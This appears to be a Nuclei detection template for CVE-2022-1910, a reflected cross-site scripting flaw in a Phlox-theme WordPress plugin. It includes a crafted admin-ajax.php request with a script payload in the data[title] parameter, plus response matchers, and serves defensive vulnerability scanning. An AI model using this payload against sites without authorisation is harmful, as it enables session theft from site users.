id: CVE-2022-1910 info: name: WordPress Shortcodes and Extra Features for Phlox <2.9.8 - Cross-Site Scripting author: Akincibor severity: medium description: | WordPress Shortcodes and extra features plugin for the Phlox theme before 2.9.8 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | Update to the latest version of the WordPress Shortcodes and Extra Features for Phlox plugin (2.9.8 or higher) to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/8afe1638-66fa-44c7-9d02-c81573193b47 - https://wordpress.org/plugins/auxin-elements/ - https://nvd.nist.gov/vuln/detail/CVE-2022-1910 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-1910 cwe-id: CWE-79 epss-score: 0.0012 epss-percentile: 0.46033 cpe: cpe:2.3:a:averta:shortcodes_and_extra_features_for_phlox_theme:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: averta product: shortcodes_and_extra_features_for_phlox_theme framework: wordpress tags: wordpress,xss,auxin-elements,wpscan,cve,cve2017,wp-plugin,wp http: - method: GET path: - '{{BaseURL}}/wp-admin/admin-ajax.php?action=aux_the_recent_products&data[wp_query_args][post_type]=post&data[title]=%3Cscript%3Ealert(document.domain)%3C/script%3E' matchers-condition: and matchers: - type: word part: body words: - 'widget-title">' - 'aux-widget' condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4b0a00483046022100fdf3de439a2506b9eab14eb683db492be7c9bc72f5048107679668ec0a5d1d940221009850e8f0ad8a69e99f5021f59249c89b42f4a5d3d1297b3f8d97aaf87ae374c6:922c64590222798bb761d5b6d8e72950